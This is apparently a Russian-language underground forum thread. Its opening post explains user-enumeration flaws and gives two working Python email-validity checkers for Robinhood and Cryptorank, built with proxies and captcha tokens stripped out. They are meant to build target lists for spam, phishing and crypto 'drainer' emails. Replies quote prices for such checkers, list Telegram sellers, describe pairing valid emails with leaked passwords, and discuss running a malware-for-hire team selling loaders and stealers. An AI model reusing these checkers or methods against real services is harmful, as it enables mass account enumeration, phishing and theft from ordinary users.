LIMB
Вход Регистрация

тема

Алло?!..- User Enumeration - говоришь?..- Криптанов? Ага.

bezmyatezhnost · · 19 ответов · 685 просмотров

Не удалось прогрузить медиа

​
Всех приветствую, сегодня мы поговорим о том, как крупнейшие крипто-платформы и финтех-сервисы отдают информацию о своих пользователях буквально по щелчку пальца. Но начнем с маленькой предыстории. Есть такая штука - User Enumeration. Если коротко, это когда сервис своим поведением позволяет понять, зарегистрирован ли конкретный email или нет. Казалось бы, ну и что? А то, что на практике это открывает золотая жилка. Спамерам - валидация миллионов адресов под рассылку, теперь они точно знают что почта живая и привязана к конкретному сервису. Фишерам - точечный таргет, когда ты знаешь что у человека есть аккаунт на Robinhood, письмо "ваш аккаунт заблокирован" выглядит в разы убедительнее. А для тех кто торгует базами - это вообще золотая жила, валидированные списки email'ов с привязкой к крипто-биржам и брокерам уходят за четырех-, а то и пятизначные суммы в долларах, так и цены на такие софты как VM доходят до такого консенсуса.

Не удалось прогрузить медиа
​

Пятизначная сумма, интересно, да? Хотя, по факту софт, то практически ни о чём, ну проверяет зарегана почта или нет, что такого. А вот рынок, как по мне, поломанный(цены солевые), мы его тоже сегодня чутка подобьем, сделав модули на 2 популярнейших крипто-сайта в юсе.
Не удалось прогрузить медиа

у меня реально такое мнение по поводу цен на эти софты.​

Ну что, давайте прекращать лирику и переходить к делу. Сегодня мы с вами разберем два сервиса - Robinhood и Cryptorank. Оба без капчи, оба без каких-то серьезных защит от перебора, оба отдают факт регистрации по email'у просто так, на блюдечке с голубой каемочкой. На их примере покажу как вообще такие штуки находить, как тыкать, и заодно соберем рабочие модули под это дело. Прежде чем лезть в конкретные сервисы, давайте разберемся что вообще такое User Enumeration и какие формы оно принимает. По сути это любой способ определить, существует ли аккаунт с конкретным email'ом (или логином, телефоном - неважно) на сервисе. OWASP тащит эту уязвимость в своих гайдлайнах уже лет пятнадцать.
Не удалось прогрузить медиа
​
Прямой метод a.k.a Direct API - по сути самый надежный и 1OO% гарантирующий верный ответ (в случае если сама платформа не решила нас нагнуть) и одновременно самый тупой и самый распространенный вариант. Сервис явно или неявно говорит тебе результат. Сюда попадает всё, от тупого "Email Not Found" прямым текстом в ответе, до более хитрых вещей, когда сервис вроде бы отвечает одинаково "Invalid credentials" в обоих случаях, но HTTP-статус разный (200 против 404), или длина ответа отличается на пару байт, или в JSON'е при существующем аккаунте прилетает одно лишнее поле. Туда же идут вторичные эндпоинты по типу форма "Забыл пароль" которая говорит "письмо отправлено" только для существующих аккаунтов, или форма регистрации которая при дупликате email'а показывает капчу, а при новом - нет. Формально сообщение может быть одно и тоже, а по факту - утечка как на ладони. 

Основываясь на времени a.k.a Time Based - а вот это уже интереснее. Тут сервис может отвечать абсолютно одинаково, один и тот же статус, один и тот же текст, один и тот же размер ответа. Но есть нюанс. Если email существует, сервак идет в базу, достает хэш пароля, считает хэш, сравнивает. Это занимает, допустим, 200-300мс. А если email не существует - он сразу отвечает "не, нету", за 5-10мс. И вот ты шлешь тысячу запросов, замеряешь время ответа, строишь распределение, и четко видишь два кластера. Медленные ответы - зарегистрированные, быстрые - нет. 

Так вот, наши сегодняшние подопытные не стали заморачиваться ни с чем из вышеперечисленного. Они выбрали самый первый вариант, Direct API, и сделали это с такой щедростью, что хочется пожать им руку и спросить, а вы вообще в курсе что у вас 27 миллионов пользователей?
Не удалось прогрузить медиа

​
Окей, теория это хорошо, но где конкретно тыкать? 

Логин. Самое очевидное. Вбиваешь email, вбиваешь рандомный пароль, смотришь ответ. Если сервис различает "неверный пароль" и "аккаунт не найден" - поздравляю, у тебя enumeration. Причем смотреть надо не только на текст, но и на статус-коды, на структуру JSON'а, на длину ответа. Бывает что текст одинаковый, а где-нибудь в теле ответа при существующем аккаунте прилетает лишнее поле типа "requires2fa: true" или, аля "account_locked: false". По факту мелочь, по делу, информативно.

Не удалось прогрузить медиа
​


Регистрация. Второе по очевидности место. Пытаешься зарегать уже существующий email - сервис говорит "уже занят". Пытаешься зарегать несуществующий - пропускает дальше. Иногда это даже не отдельный запрос, а валидация в реальном времени - вбиваешь email в поле, и сервис на каждый символ шлет запрос на проверку уникальности.

Не удалось прогрузить медиа
​

Сброс пароля. Очень многие сервисы на форме "Забыл пароль" отвечают по-разному. "Письмо отправлено" если аккаунт есть, и "Аккаунт не найден" если нет. Или вроде бы отвечают одинаково, но при существующем аккаунте ответ идет 2 секунды (потому что реально шлет письмо), а при несуществующем - мгновенно.

Не удалось прогрузить медиа
​

Смена email'а. И вишенка на торте. У многих сервисов есть функция смены email'а в настройках аккаунта. Логика простая - вбиваешь новый email, сервис проверяет не занят ли он, и если занят, то говорит "этот email уже используется". А если нет пропускает дальше. То есть у тебя уже есть один аккаунт, и через него ты можешь проверять любые email'ы на существование, просто "меняя" свою почту раз за разом. Рейтлимит на это обычно никто не ставит, потому что ну кто будет менять email тысячу раз в минуту? Мы будем. И что самое приятное, этот эндпоинт часто забывают при аудите, потому что он спрятан в настройках профиля и выглядит безобидно. (на это скрина не нашлось, пардон)

Не удалось прогрузить медиа

​
Ну, с теорией закончили. Давайте смотреть как это выглядит на практике, и начнем мы с главного героя сегодняшнего вечера. 
Robinhood - если вдруг кто-то жил под камнем последние десять лет, это тот самый американский брокер, который в 2013 году сказал "а давайте торговать акциями без комиссий" и перевернул весь рынок вверх дном. Акции, опционы, ETF, крипта, все в одном приложении, все бесплатно. 27 миллионов пользователей, NASDAQ, тикер HOOD, капитализация гуляет в районе 65 миллиардов американских долларов. Лицензированный брокер-дилер, член FINRA и SIPC, люди там держат реальные деньги, реальные портфели. Серьезная контора, короче. Ну, по крайней мере я так думал. Начнем по порядку, в первую очередь, конечно, целимся в Direct API, потому что это надежнее. Заходим на их сайт, и банально пробуем залогиниться 

Не удалось прогрузить медиа

​
Получаем, что? Правильно! Шиш с маслом, уходим от этого логина, и идем в сторону регистрации тогда уж. Заполняем все по новой, пляшем как никогда.
Не удалось прогрузить медиа

​
Аналогично, кажется, что ничего уже не будет. Еще ведь есть сброс пароля. Дергаемся туда.
Не удалось прогрузить медиа
​
Дурит голову нам этот робинхуд, делает вид, что защитился значит, мол не подойти к нему.. Какие выводы можем сделать? Через сброс пароля только - time based (и то не факт), через логин ничего, через регистрацию тоже. А что если мы чучуть поиграемся с курлами, а? Чуть подредактируем, там чуть удалим, немного там уберем, там поправим? Такое тоже может сработать, по этому пробовать стоит, а мест где еще это тестить особо негде, по этому остается лишь регистрация, дергаем наш курлик. Конвертируем его в удобный код для нас (меня) это будет - питон. Пользоваться можно чем угодно, я предпочитаю это. 
Не удалось прогрузить медиа

​
Тут как мы можем наблюдать, жсончик, который мы направляем и еще таки называемые защиты gr_key, gr_token, но крепость не может стоять вечно, она ведь должна упасть когда-то? Для начала, я решил снести просто их, ибо глаз мозолят, да и потом еще на капчу тратиться при валидации почт, такое себе.
Не удалось прогрузить медиа
​
Но картина особо не меняется, сносим еще к чертям нашу национальность (робинхуд по каким-то причинам посчитал меня проклятым амером). Картина получилась такая же как и раньше, ничего не поменялось, а если мы допустим снесем важный ключ? Ну, который как либо отвечает за дату, которую придется верифать имя, или фамилия?
Не удалось прогрузить медиа

​
Поломался, выплюнул, сказал не тот корм ты мне несешь, барин. Меняем почту на ту, которая заведомо существует (взята из простых ULP утечек клаудов).
Не удалось прогрузить медиа

​
Задачка со звездочкой была разгадана. Хотя звездочки тут и не надо, просто поигрались с параметрами, и апи отдает "email":["Unable to process your request."], по которому мы можем уже отличать регнутая почта или нет. С моего профанского (человек, который совершенно несведущ, некомпетентен или невежествен в какой-либо определенной области знаний, искусства или ремесла) мнения, так не должно работать, нельзя так давать и прямо говорить, ну вот он регнут, а он нет, вот ему шли письмо с дрейнером, а ему нет. Думаю суть понятна, и прошу подметить, это одна из крупнейших по-большей части криптобирж в USA. Цена на такое уродство на рынке, давайте начнем с минимума, который я нашел это 650$ на экспе, и самый максимум, который я видел это 1.6k$. А работы на пару минут, просто надо прикинуться совсем тупым идиотом, и все поломается.
Не удалось прогрузить медиа

​
Суть понятна, лыжи едут, лыжи поехали. Напиши микро-мини-нано модуль под это дело, чтоб сразу в прокси, сразу в бой. Велосипед придумывать не будем, просто функция, которая на вход принимает почту, и прокси. 

Code:
import requests


def check_mail(mail, proxy):
    headers = {
        'accept': '*/*',
        'accept-language': 'en-US,en;q=0.9',
        'content-type': 'application/json',
        'origin': 'https://robinhood.com',
        'referer': 'https://robinhood.com/',
        'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-site',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    }

    proxies = {'http': proxy, 'https': proxy} if proxy else None
    response = requests.put('https://api.robinhood.com/user/', headers=headers, json={'email': mail, 'first_name': 'Name', 'username': '[email protected]'}, proxies=proxies)

    if 'email' in response.json():
        return 'Valid'
    return 'Invalid'

Съели, проглотили, переварили, пошли перепродавать уже паблик (шутки шутим мы тут, или нет...). Долго не думая перейдем ко второму, уже более простому, который я показал на скриншотах. Там совсем уже уровень baby.
Не удалось прогрузить медиа

​
На закуску у нас cryptorank.io уже не биржа, а просто какая-то хрень. Но стата у него хорошая, относительно. Тут уже можно фармить чисто криптанов, ибо в самом названии уже пишут crypto.
Не удалось прогрузить медиа

​
Заходим на сайт, и все так же, по-порядку. Логинимся, вводим какую-то хрень, смотрим что будет. 
Не удалось прогрузить медиа

​
В лоб, жаль эндпоинт называется не spam-my-mail-please. Так было бы лучше. Тут, ну тут даже сказать то нечего, как я и говорил детские орешки, щелкаем таких на завтрак, обед, полдник, и ужин. Делаем все тоже самое, что и раньше, это конверт из курла в питон, и переписываем в модуль.
​
Code:
import requests


def check_mail(mail, proxy):
    headers = {
        'accept': '*/*',
        'accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7',
        'authorization': 'Bearer null',
        'content-type': 'application/json',
        'origin': 'https://cryptorank.io',
        'referer': 'https://cryptorank.io/',
        'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-site',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    }

    proxies = {'http': proxy, 'https': proxy} if proxy else None
    response = requests.post('https://api.cryptorank.io/v0/auth/password', headers=headers, json={'email': mail, 'password': mail}, proxies=proxies)

    if 'Email Not Found' in response.text:
        return 'Invalid'
    return 'Valid'

Цену за такое чудо на экспе видят в 550$. У меня цели ни в коем случае не поломать рынок (хотя рынок разработки как в белой сфере, так и в серых/черных поломан уже окончательно), или аля чего еще, просто непонятно откуда такие цены на софты, которые делаются за минут 5-10?
Не удалось прогрузить медиа

не врите, а.​
В заключение, вот что хочу сказать, два сервиса, два модуля, код которых можно написать пока заваривается доширак. Один торгуется на NASDAQ с капой в 65 ярдов, второй в лоб говорит и даже никак не защищается. У обоих User Enumeration лежит на поверхности, бери и пользуйся. И за это на рынке просят от 550 до 1600 баксов. Ну вы серьезно? Машину так-то купить можно, или тоже пойти барыжить. Монета двух сторон. Всем пока, не болейте!
 
Не удалось прогрузить медиа

​
👍67 ❤️14 🔥8 😮11 👏8 😢14
Ответbezmyatezhnost

Цену за такое чудо на экспе видят в 550$. У

за такое...это за какое? чек мыла на регу в робингуде?
Ответlisa99

за такое...это за какое? чек мыла на регу в робингуде?

Selling Valid mailers at prices lower than any competitor. 
Full source code included with every purchase. 
Fast, reliable, and built for professional use.
[\] Prices
  • Captcha-less Dropbox VM — $340
  • Captcha-less Decrypt VM — $500
  • Captcha-less Nifty Gateway VM — $715
  • Captcha-less Cryptorank VM — $550
  • Captcha-less Cryptoexchange(.com) VM — $500
  • Captcha-less Criptan VM — $350
  • Captcha-less CoinMarketCap VM — $715
  • Captcha-less Betterment(.com) VM — $715
  • Captcha-less Streetbeat VM — $400
  • Captcha-less IG(.com) — $450
  • Captcha-less Palm Beach Group VM — $700
  • Captcha-less Digifinex VM — $715
  • Captcha-less Intuit VM — $715
  • iCloud VM — $565
  • DeltaExchange VM - $400
  • CoinW VM — $525
  • Mexc VM — $650
  • Cryptonary VM — $675
  • BlockPit VM — $715
  • Trading View VM — $725
  • BitPay VM — $715
  • Bitmart VM — $650
  • Robinhood VM — $525
  • Crypto(.com) NFT VM — $750
  • Capital(.com) VM — $500
[/] Features
  • Developed in Python
  • Full source code included
  • Requirements: Proxies
--> (If not captchaless) + CapSolver 


выдержка с экспы, цена за Cryptorank.io - 550$ а там прошу подметить, вообще в лоб говорят есть мыло или нет., цена на робинхуд 525$. но вот у него же за 650$
Не удалось прогрузить медиа

но так как рынок поломанный опять же, цены скачут как хотят

UPD:

Captchaless valid mail robinhood checker, only rotating proxies required. €1k, 5000+ CPM Garant accepted. PM for telegram. 
decreased to $500
upgraded to 25k+ CPM 
——
he checkers available now are
vm captchaless
kucoin - 1k$
robinhood - 1k$
coinmarketcap - 500$
okx - 2k$
vn captchaless
kucoin - 1k$
to buy dm on telegram
@strongest
channel - @cybercity 

вот еще)
👍5 ❤️1
С одной стороны, кажется, и классические BAC-моментики на лицо, с другой стороны, обошли-то в итоге рл и механизмы блокировки. Надо сказать, обход в таких ситуациях и так целесообразен с тучи прокси, с которых отдельно клиенты бы на этот ресурс бегали и информацию для тебя собирали. Иначе такие задачи обычно не выполняются, в любом случае, как райтап - пойдет.
Подавайте, второй проверяющий тоже ознакомится, как по мне, больно эта схема классикой попахивает.
👍1
Ответbezmyatezhnost

но так как рынок поломанный опять же, цены скачут как хотят

что есть "поломанный" рынок - несоответствеин цен качеству продукта/товара?
Хотелось бы как с салом, а оно не так?

Когда по-вашему рынок сломался и каким он был раньше?
👍3
Ответr677

что есть "поломанный" рынок - несоответствеин цен качеству продукта/товара? Хотелось бы как с салом, а оно не так? Когда по-вашему рынок сломался и каким он был раньше?

я говорю лишь про рынок разработки, как в других сферах, я не особо знаток. на нативном примере, возьмем тот же cryptorank.io его продают от $500, но как я показывал сервис сразу же показывает зарегана почта или нет. и получается, что за 1 курл, без каких либо защит, все на базовых библиотеках просят по 500$, а это между прочим, цена аренды неплохой квартиры на месяц в условном Санкт-Петербурге. разве так должно быть? множество разработчиков в около-нашей сфере берут деньги несопоставимые с затратами, за счет того, что есть большие шишки, которые сделают эту работу за 500$, или студии по разработке, которые вовсе сделаю за 800$ потому что это реселл, где говорилка получает 700$, исполнитель 100$, потому что у студии есть средства на маркетинг, и следовательно есть заказы, а у исполнителя нет денег на маркетинг, из-за чего ему приходится работать на студию. то есть по моему мнению, "поломанный рынок" - это когда цена товара не соответствует силам, затратам потраченным на его производство. (мы говорим все же про интеллектуальную собственность, с заводами по производству салфеток не надо сравнивать)

я не могу сказать каким рынок был раньше, так как не застал его, наверняка, кто-то скажет, что рынок так и должен работать мол маркетологи, социологи все давно изучили, и выяснили, что люди готовы платить X3 за обложку товара в России, на которой будет написано красивым шрифтом from Germany. не знаток я, мнение субъективное, кто-то может согласиться, кто-то нет) может @lisa99 что-то вставит, она вроде хорошо разбирается во всех этих вещах, рекламе и тд.

с салом, как будто не очень тематичный вопрос, тут никого мариновать не надо)
👍4 ❤️1 🔥1
Ответbezmyatezhnost

и получается, что за 1 курл, без каких либо защит, все на базовых библиотеках просят по 500$, а это между прочим, цена аренды неплохой квартиры на месяц в условном Санкт-Петербурге. разве так должно быть?

Все верно, сейчас каждый "кодер" с подпиской на чатЖИПИТИ, смотрит один запрос на регу, скидывает в ИИ запрос и ответ и пишет: сделай мне софт с поддержкой прокси, многопотоком и тд. Минута времени, у него лежит готовый код, который берет базы мыл и затачивает их под сервис)
А после этого,еще мыла валидные прогнать по ULP, ликбейзу, найти парольчики. 

А кто более смышленый , купит софт за 50$, который по IMAP и POP3 чекнет мыльце на валид, и на выходе получит = ПРИВАТ КРИПТО БАЗА ВАЛИД Mail:pass

И потом базы стоят на продаже вот такие, а потом возьмешь такую, и понимаешь, что база то мусоркой оказалась)
👍5 ❤️1
@Alzheimer
вот кто нам нужен.

Детка, отпиши свое мнение, плз.
Ответlisa99

@Alzheimer вот кто нам нужен. Детка, отпиши свое мнение, плз.

Это совсем разное, я думаю не совсем корректно сравнивать настоящего кодера, малвари особенно, и разработки безделушки рег чека.
Просто термин "кодер" , сильно обесценился, c ростом ИИ. Теперь каждый может назвать себя кодером, и брать за это деньги. Причем не малые!
 Это не серьезно.

Я ни в коем случае не обесцениваю программистов , которые реально сами пишут, анализируют запросы, токены , куки,  реверсят приложения. Это настоящее искусство , но к сожалению его смешали с говном...
👍4 ❤️1
эээ..нет.
Идея рынка - таже.

Есть работодатель (Альцгеймер) и есть его тима (кодеры).
Сколько он себе берет и как - мы не знаем. 
7:1 или 1:1

Он ищет наемных работников. Вот пусть объяснит свою точку зрения.
а пишут они чекер или малварь для нашего спора о "соло - или с посредником"  роли не играет.

вообще)
какая разница сколько берут за такую работу или написано это вручную или с помощью ии?
есть только два состояния получилось написать или нет
Автор молодец, разобрал и открыл глаза на легкость написания продукта и это применимо в огромном кол-ве ниш

Если есть покупатали за 500 значит они либо не хотят разбираться в вопросе или им нужно быстрое решение. 
Горе разраб написал за 30 минут и просит 500? нет, это люди готовы покупать за такой прайс вслепую. И никто из них не полезет в код с последнующий фейспалмом "да тут же все изи". Они и дальше купят за 500 но модуль уже для другого сайта. А сделают они на этом деньги или нет никого не волнует, купили и не окупили это их проблемы. 

В общем я не согласен с мнением кодер-статус, есть только рабочий и не рабочий софт. А люди купят за любую цену, кто видит в этом экономию времени обучения и прочее. Нет никакой истины в системе ценности
👍2
ОтветLa_zet

Горе разраб написал за 30 минут и просит 500? нет, это люди готовы покупать за такой прайс вслепую.

именно))

продолжение дискуссии о посредниках и бедных кодерах здесь:

Заработки кодера джуна на форумах дарквеба​

👍1
Ответlisa99

эээ..нет. Идея рынка - таже. Есть работодатель (Альцгеймер) и есть его тима (кодеры). Сколько он себе берет и как - мы не знаем. 7:1 или 1:1 Он ищет наемных работников. Вот пусть объяснит свою точку зрения. а пишут они…

Приветствую! Итак, для начала хотелось бы сказать, что MalwareLab в новом составе прожил недолго, так как у меня сейчас мало времени, чтобы сидеть на саппорте и по пару часов обслуживать каких-то чурок, которые мне будут е*ать мозги, чтобы потом сказать, что им это не нужно, и послать меня, а данную работу давать кому-то другому совсем с другими мыслями в голове я не хочу, так как имею свое личное представление о ценах, приоритетах и возможностях

Но на ваши вопросы я ответить могу:

Для начала уясню, что моя наценка сильно могла варьироваться в зависимости от общей цены заказа, то есть если заказ большой и обширный на 15к$, то я бы мог спокойно поставить наценку 1-2к$ чисто на себя и тим-лида, а если заказ, например, на 1000$, то наценка могла быть 150-200$, и эти деньги могли уходить только на тим-лида, я ничего не получал

В основном, как я понял, вам интересны расценки рынка кодеров. Сразу уточняю, что цену я никогда сам не называл, на каждый заказ свою цену ставили именно члены команды, а потом я уже передавал ее на соглашение клиенту с определенной наценкой

Возьмем, например, максимально простой нерезидентный лоадер без обходов AV/EDR. Конечно, никто не запрещал разработчикам сделать все за 5 минут через какую-то Instant-модель от ChatGPT с говно-кодом и назвать цену 500-600$, но важно учитывать, что в нашем случае весь код проходил через тим-лида, который проверял качество кода и его практичность в целом, чтобы говно-код клиент не получал, и в случае чего заставлял все переделывать, но ключевой фактор цены зависит не от того, кто его делает, а от того, насколько данная вещь уникальна и тот факт, что она будет сделана с нуля специально под нужды клиента, а не под массовый залив

Наведу вам пример, как я люблю делать: все мы знаем о картине Мона Лиза, написанной Леонардо да Винчи. Это одна из самых дорогих картин в мире, но почему ее оригинальная копия стоит намного дороже тех, что были распечатаны на цветном принтере? Потому что она создавалась в единственном экземпляре с нуля, и этот труд как раз и стоит этих денег

Хотя можно предположить, что какой-то другой малоизвестный художник мог потратить намного больше усилий на создание другой картины, но она не стоила как Мона Лиза из-за того, что художник не является таким известным, и тут снова же можно сказать, что в нашем случае MalwareLab - это некий известный художник, который может называть цену больше какого-то менее известного исполнителя банально из-за популярности

Об этом можно бесконечно рассуждать, но я дал краткий ответ по тому, что прочитал из вашей дискуссии. Сам немного запутался, пока все это писал, но надеюсь, мысль донес :). Возможно, немного не понял ваших вопросов, так как прочитал не все, что вы писали, но если остались вопросы - буду рад ответить. Очень жаль, что пришлось закрыть MalwareLab, но я думаю, это ненадолго…
👍2
ОтветAlzheimer

Приветствую! Итак, для начала хотелось бы сказать, что MalwareLab в новом составе прожил недолго, так как у меня сейчас мало времени, чтобы сидеть на саппорте и по пару часов обслуживать каких-то чурок, которые мне…

Спасибо за развернутый ответ) Сейчас вообще малварь не кодишь, или просто закрылся именно MalwareLab?
Все предельно понятно описал, уникальный продукт должен и стоить уникально. 
Удивило что не ты, обозначал цену, а ориентировался от команды
ОтветAnwar

Сейчас вообще малварь не кодишь, или просто закрылся именно MalwareLab?

Проблема в том, что клиенты хотят постоянного внимания и предельно детальных ответов, а покупают продукт лишь единицы, и мне приходится тратить большое количество времени на пустые разговоры и делиться своим опытом безвозмездно

Как можно понять, немного людей хочет тратить свое время на абсолютно незнакомых людей, которые не гарантируют тебе заключение успешной сделки, особенно когда пишут неопытные люди и могут часами расспрашивать про свой заказ и получить детальную техническую консультацию, а потом просто сказать "я тебе напишу, когда буду готов сделать заказ" и пропасть навсегда

У меня были мысли взять какого-то человека, чтобы он занимался общением с клиентами и передавал заказы разработчикам за фиксированную зарплату, но, как вы понимаете, тут есть несколько проблем, а именно первая заключается в том, что найти человека с достаточными знаниями, внедрить его в свою команду и рассказать ему все мои приватные идеи и мысли по поводу MalwareLab, дать ему возможность вести общение с разработчиками и клиентами, рискуя моей репутацией - это очень отчаянный шаг, и нет гарантии, что он просто в какой-то момент не исчезнет или не пошлет какого-то человека на 3 буквы, испортив мою репутацию

Но помимо проблем с доверием тут еще возникает проблема с оплатой, ибо, понятное дело, такой человек будет требовать фиксированную зарплату, и, учитывая его знания, он на 500-600$ не остановится и будет требовать тысячи долларов, ну а вся прибыль сервиса зависит именно от наценки на заказы, и в результате такой схемы я просто могу уйти в огромные убытки, так как даже за месяц может не набраться нужная сумма на оплату услуг этого человека, включая тот факт, что еще нужно платить тим-лиду, ну и я, собственно, тоже хочу какую-то копеечку из этого получать, чтобы иметь возможность покупать рекламу, баннеры и другие вещи не за свои личные средства, уходя в убыток, а за прибыль, которую мне будет приносить сервис

В данный момент такая модель показала себя плохо на практике, и я решил пока что остановить работу MalwareLab.

У меня была идея сделать свой продукт и просто продавать его копии и обновлять, но тут возникает проблема в том, что если, например, им будет заниматься 6 людей и мы будем продавать нерезидент-лоадер, и одна копия будет стоить 200 долларов, то выходит 33$ на одного разработчика, если в месяц будет 20 продаж - это выходит 660 долларов на каждого, и как вы думаете, опытные люди, разрабатывающие малварь, захотят активно обновлять продукт за 660$ в месяц? Но ладно, не буду преувеличивать, на обновление нерезидент-лоадера сильно много усилий не нужно, да и команда большая, и поэтому труд будет распределен, но тут возникает еще одна проблема, а именно в том, что мы не исключаем, что какой-то разработчик в один момент может захотеть большего и просто продать кому-то сурсы, или даже если такого не случится, то рано или поздно кто-то может подхватить, например, стиллер, и сурсы утекут в чужие руки, и даже несмотря на обновления некая уникальность уже будет утрачена и репутация испорчена

Также есть проблема, связанная с тем, что после перенабора команды участники еще не обкатаны, и, как было в моем случае, нам пришел первый заказ с момента перенабора, за него взялся работать один достаточно амбициозный разработчик, которому нравилось решать разные сложные задачи, ну и задача клиента как раз была непростой, к нему я также выделил веб-разработчика, чтобы сделать панель, ну и, собственно, все было отлично, наш тим-лид контролировал процесс разработки, разработчик написал TCP сервер, где происходила коммуникация с базой данных и т.д., и все было отлично, но когда дошло дело до написания самого сложного - клиента, произошла такая проблема, что разраб просто пропал, и мы не могли ничего с этим поделать, других разрабов не устраивала та же цена, что назвал этот разраб, так как заказ был достаточно непростой, и я тут ничего не поделаю, так как уже была заключена сделка с гарантом, и ничего изменить я уже не мог

Такие случаи тоже бывают, и надо понимать, что все участники - это живые люди, и они могут быть порой непредсказуемыми. Я расписал лишь некоторые моменты, но на деле их намного больше. В данном деле главное не бездумно делать, а сразу продумать все, а потом уже принимать решение, ну и, как можно заметить, думать тут надо обо всем, ибо не все так радужно, как может показаться с первого взгляда. Думаю, может, еще выпущу какой-то продукт по малвари на продажу, но это уже будет сделано в ограниченном кругу лиц и без рисков, что кто-то просто пропадет :)

ОтветAnwar

Удивило что не ты, обозначал цену, а ориентировался от команды

Ну а как я могу заставить человека работать за ту сумму, которая его не устраивает? Например, ты, когда идешь устраиваться куда-то на работу, самые важные факторы, на которые будешь смотреть - это сложность работы и оплата. Тут, считай, все так же - если за сложную работу тебе платят не удовлетворяющую тебя сумму, ты просто откажешься работать, это простой человеческий фактор
👍5 ❤️1
ОтветAlzheimer

У меня были мысли взять какого-то человека, чтобы он занимался общением с клиентами и передавал заказы разработчикам за фиксированную зарплату, но, как вы понимаете, тут есть несколько проблем, а именно первая…

Вот тут я сразу дернулась и прям недочитав поспешила отписаться по этому пункту.

С чего так?- себя узнаю на старте. Делала ровно то же самое.  То что ты описал, фрагмент потребительского "терроризма", в начальной стадии.
Покупатель (а то еще и просто потенциальный клиент) начинает садится на голову.
(ягодки в конце- требовать всего и побольше, сверх договора и прочее)

Многим не нравится когда я провожу дальние параллели. Но тем не менее. поверь, что часами готовы разговаоривать о своих заказах и хотелках
не только заказчики софта (малвари или корпоративного сайта),  но и заказчики домов (это песня), дизайнов интерьеров,  и даже заказчики заборов или меда. Неважно.

Это психология потребителя (покупателя). Она изучена довольно хорошо. И есть контрмеры. Универсальные.
Как их приспособить под твою ситуацию - прикинь (те) сам.


1. Отсечь нищебродов, наглецов - "экономистов". Такие есть всегда и везде,  и даже с деньгами.

Называть примерный уровень оплаты сразу. от 500, от 2000 и тп. Допустим, это не впечатлит. Да, массмаркет такой. Если ты рад любому заказу - придется хлебать.
Но все же.

2. Нет смысла повторять одно и то же. Поэтому дизайнеры (представляете сколько там нефромального) придумали понятие брифа.
В твоем случае это Техзадание
И это помимо того, что у тебя должны быть заготовки, шаблоны каких-то условий.

3. Шаблоны
- Типовые вопросы
- Типовые ответы
, которые закрывают возражения (гарантии, время тестирования, стыковки с другим софтом, кэшбэк, за что не возьметесь)

Так вот. Без ТЗ в многочасовые обсуждения не вдаваться. Составление ТЗ - некая работа, и собеседники пытаются переложить ее на тебя.
Для справки. Юристы в РФ когда знакомятся с делом, выставляют счет за консультацию.
Это тоже самое. Потому вникнуть в ворох документов и проблем - это работа. Никто (профессионал) не хочет делать ее бесплатно.
На стройках частникам есть понятие "замера". Выезд замерщика платный.

Я хочу сказать что есть предпродажные услуги. Например, составоение ТЗ, консультация могут быть платными, или в протвном случае вообще отказать

-У меня сложный случай (масса хотелок)
-Дайте ТЗ
-У меня нет ТЗ
-Ответьте на базовые вопросы (дайте клиенту форму, шаблон)
-Некогда мне письменно отвечать на вопросы, давайте поговорим что должен делать ваш софт.
-Извините, мы не можем обсуждать большое количество пожеланий без ТЗ.


4. Портфолио.
Список того что уже делали, свойства, цена. Это сэкономит время.

5. Менеджер.

Менеджеров воспитывают, обучают, дают указания (в идеале скрипты, алгоритмы ответов). Можно попытаться (в идеале)
держать кого-то на %. Не на з/п. Но это так..В реальности  не получится, наверное



Я пробежалась по-быстрому. Основной посыл - попытаться  максимально формализовать общение и задачи.
👍2
Ответlisa99

Вот тут я сразу дернулась и прям недочитав поспешила отписаться по этому пункту. С чего так?- себя узнаю на старте. Делала ровно то же самое. То что ты описал, фрагмент потребительского "терроризма", в начальной стадии…

Слушай, спасибо, меня тронули твои слова, задумаюсь
👍5 ❤️1
ОтветAlzheimer

Слушай, спасибо, меня тронули твои слова, задумаюсь

Поддержу Лису. Не покидай нас, Альцгеймер, выше нос!)

Мало нынче достойных специалистов по мыловарению, тем более.. тема такая.. каждый, кто курсор себе позволил, уже дофига кодер. Буду ждать твоих новых проектов).
👍2
ОтветAlzheimer

Слушай, спасибо, меня тронули твои слова, задумаюсь

Увидел твое сообщение, что набирашь кодеров. Все правильно, топи до конца, красавчик!) Лиса дело говорит, может чуть подход поменять, и все наладится)
ОтветAlzheimer

Слушай, спасибо, меня тронули твои слова, задумаюсь

ОтветAlzheimer

У меня были мысли взять какого-то человека, чтобы он занимался общением с клиентами и передавал заказы разработчикам за фиксированную зарплату, но, как вы понимаете, тут есть несколько проблем, а именно первая…

Насчет задуматься.
Тут дело не только в мыслях но и понимании механизмов такой сферы как торговля. Конечто кто-то продает себе и продает.
Но ты в других условиях.

У тебя команда, закрытый режим, особый вес репутации (например, мышка в хлебе на репутацию хлебозавода в РФ не повлияет никак)
а значит ты въезжаешь в другую сферу - продаж. Уже не кодинга. В которой ты сильно плаваешь по понятным причинам. А в продажах свои законы.

Лайфхаки ниже. Ничего хитрого, но и не всем очевидные.

1.  Анализ конкурентов или "смежников". Желательно успешных.

Ты представляешься заказчиком. И пытаешься пробить не только цены, но и схему работы. Что там с менеджерами? спрашивают ли ТЗ и как?
Какие условия -предоплаты=олаты-гарантий-тестирования-соблюдения сроков?
Берешь на заметку то что нравится

2. Менеджеры.

1. Оплата.

Во всем мире, в любой, абсолютно, сфере, оплата менеджеров-продажников складывается из двух составляющих:

(фикс) +  (процент с продаж).

когда фирма развивается, молодая компания, делается обычно минимальная фиксированная составляющая,  и бОльший процент.
